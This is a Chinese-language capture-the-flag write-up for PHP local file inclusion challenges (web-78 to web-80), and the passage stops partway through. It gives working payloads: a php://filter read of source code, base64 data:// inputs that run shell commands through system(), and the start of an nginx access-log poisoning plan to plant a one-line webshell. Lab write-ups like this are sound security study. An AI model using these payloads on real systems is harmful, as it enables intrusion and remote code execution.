web-78

1
2
3
4
5
6
if(isset($_GET['file'])){
    $file $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到我们传入的file直接被文件包含,所以我们直接尝试filter协议看看能不能读源码:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

然后发现直接就能读出,base64解码即可

web-79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到,传入的file中,php被替换成了???,所以我们换成data协议:

而且由于我们到时候要执行php代码,所以我们可以用base64把我们的命令加密:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAuIik7Pz4=

这里执行的是:

1
<?php system("ls .");?>

可以看到当前路径下有个flag.php

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

相当于执行:

1
<?php system("tac flag.php");?>

成功获得flag

web-80

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
    $file $_GET['file'];
    $file str_replace("php""???"$file);
    $file str_replace("data""???"$file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这次data协议也没了,当伪协议用不了的时候就得考虑日志文件包含

随意访问1.php,可以看到网站是nginx服务器,nginx的服务器日志目录是/var/log/nginx/access.log

1
?file=/var/log/nginx/access.log

可以正常包含,所以我们可以考虑在日志文件里插入一句话木马,